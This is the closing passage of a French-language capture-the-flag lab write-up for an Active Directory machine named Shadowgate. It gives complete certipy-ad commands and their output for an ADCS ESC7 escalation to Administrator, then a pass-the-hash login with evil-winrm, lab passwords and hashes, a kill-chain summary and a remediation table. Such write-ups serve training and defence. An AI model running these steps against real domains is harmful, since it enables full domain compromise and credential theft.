bash
certipy-ad ca -u 'sam.h@shadowgate.local' -p 'NewPass123!' -ns '10.1.88.150' \
  -target 'SG-DC01.shadowgate.local' -ca 'Shadowgate-CA' -enable-template 'SubCA' -ldap-scheme ldap
Sortie
[*] Successfully enabled 'SubCA' on 'Shadowgate-CA'

Étape 3 : Soumettre la demande (rejet volontaire)

Commande
bash
certipy-ad req -u 'sam.h@shadowgate.local' -p 'NewPass123!' -ns '10.1.88.150' \
  -target 'SG-DC01.shadowgate.local' -ca 'Shadowgate-CA' -template 'SubCA' \
  -upn 'administrator@shadowgate.local' -sid 'S-1-5-21-2396436576-3267128377-3646372360-500' -ldap-scheme ldap
Sortie
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED
Would you like to save the private key? (y/N): y
[*] Saving private key to '10.key'

Étape 4 : Approuver soi-même la demande rejetée

Commande
bash
certipy-ad ca -u 'sam.h@shadowgate.local' -p 'NewPass123!' -ns '10.1.88.150' \
  -target 'SG-DC01.shadowgate.local' -ca 'Shadowgate-CA' -issue-request '10' -ldap-scheme ldap
Sortie
[*] Successfully issued certificate request ID 10

Étape 5 : Récupérer le certificat

Commande
bash
certipy-ad req -u 'sam.h@shadowgate.local' -p 'NewPass123!' -ns '10.1.88.150' \
  -target 'SG-DC01.shadowgate.local' -ca 'Shadowgate-CA' -retrieve '10' -ldap-scheme ldap

-retrieve '10' récupère le certificat correspondant au Request ID 10 maintenant approuvé, en réutilisant la clé privée sauvegardée localement à l'étape 3.

Sortie
[*] Got certificate with UPN 'administrator@shadowgate.local'
[*] Saving certificate and private key to 'administrator.pfx'

Étape 6, authentification :

Commande
bash
certipy-ad auth -pfx administrator.pfx -dc-ip 10.1.88.150 -ldap-scheme ldap
Sortie
[*] Got hash for 'administrator@shadowgate.local': aad3b435b51404eeaad3b435b51404ee:a07b7bbc98b574afe52bbeb5d07d9c0a

Le même hash NTLM de l'Administrateur est obtenu.


15. Flag Root

Commande
bash
evil-winrm -u Administrator -i 10.1.88.150 -H a07b7bbc98b574afe52bbeb5d07d9c0a

Le flag root est récupéré sur le bureau de l'Administrateur.

Flag root récupéré

Compromission totale du domaine.


16. Conclusion et Remédiation

Kill Chain Complète

Sortie
1. OSINT web            → équipe identifiée, portail dev découvert, indices sur le workflow d'upload
2. SQLi                   → contournement de l'authentification du portail dev
3. Coercition NTLM #1      → upload piégé → hash mitch.r → snitch1993
4. BloodHound               → mitch.r → ForceChangePassword milo.w → WriteOwner svc_mssql
5. bloodyAD (x2)             → milo.w puis svc_mssql compromis
6. MSSQL xp_dirtree            → coercition NTLM #2 → hash bogdan.r → bogdan0126
7. BloodHound 2 + logonHours     → GenericAll oscar.m, bypass horaire → Flag user
8. Mail interne + Corbeille AD     → restauration sam.h
9. certipy-ad find                  → ESC3 + ESC7 détectés
10. ESC3 et ESC7                      → hash NTLM Administrator → Flag root

Remédiation

VecteurProblèmeRemédiation
SQL Injection sur le portail devAuthentification contournable par un payload SQL basiqueUtiliser des requêtes préparées (prepared statements) systématiquement, valider et échapper toutes les entrées utilisateur
Coercition NTLM via upload de fichierUn fichier uploadé déclenche une authentification SMB sortante lors de sa vérificationDésactiver l'authentification NTLM sortante depuis les serveurs applicatifs, isoler l'environnement de vérification de fichiers, filtrer les connexions SMB sortantes non nécessaires
Coercition NTLM via MSSQL (xp_dirtree)Le compte de service MSSQL accepte des chemins UNC arbitraires via une procédure étendueDésactiver xp_dirtree et les procédures étendues non utilisées, restreindre les connexions sortantes du serveur SQL
ForceChangePassword et GenericAll délégués en cascadePlusieurs comptes standards disposent de droits d'administration sur d'autres comptes sans lien fonctionnelAuditer les délégations ACL avec BloodHound, restreindre au strict nécessaire (voir l'off-log ACL dédié)
logonHours contournable via GenericAllUne restriction horaire de sécurité est neutralisable dès qu'un droit d'écriture est obtenu sur le compteNe pas se reposer uniquement sur logonHours comme contrôle de sécurité : le combiner avec du MFA ou une restriction réseau indépendante des attributs AD
Compte quitté jamais réellement supprimésam.h reste dans la corbeille AD avec ses droits ADCS toujours attachés à l'objetProcessus de offboarding strict incluant la suppression définitive ou la purge planifiée des comptes désactivés, pas seulement leur désactivation
Droits sur la corbeille AD trop largesoscar.m dispose de WriteOwner/WriteDacl sur des objets supprimés, permettant leur restauration et prise de contrôleRestreindre les droits sur le conteneur Deleted Objects aux seuls comptes d'administration Tier 0, journaliser tout accès à ce conteneur
Template ESC3 (Shadowgate-EnrollmentAgent)Droit d'enrollment individuel jamais révoqué après le départ de l'employé, EKU Certificate Request Agent actifRévoquer les droits d'enrollment lors de l'offboarding, limiter la durée de vie des permissions d'Enrollment Agent, exiger l'approbation manager
ESC7 (déséquilibre ManageCA/ManageCertificates)sam.h dispose de ManageCA sans ManageCertificates, mais ManageCA permet de contourner cette limite en s'auto-assignant le rôle OfficerNe jamais déléguer ManageCA isolément à un compte utilisateur, retirer tout droit de gestion de CA en dehors du groupe d'administration PKI dédié

[!NOTE] Ce lab illustre une chaîne d'attaque particulièrement longue où chaque étape dépend directement d'un détail OSINT ou d'un indice contextuel (le nom du vérificateur de fichiers, le rôle allemand d'Oscar, le mail interne mentionnant le firewall LDAPS et les templates de certificats). Cette dépendance au contexte, plutôt qu'à une seule faille technique isolée, est représentative d'un engagement réel où la reconnaissance humaine (OSINT) pèse souvent autant que l'exploitation technique pure.


Writeup rédigé par Zcook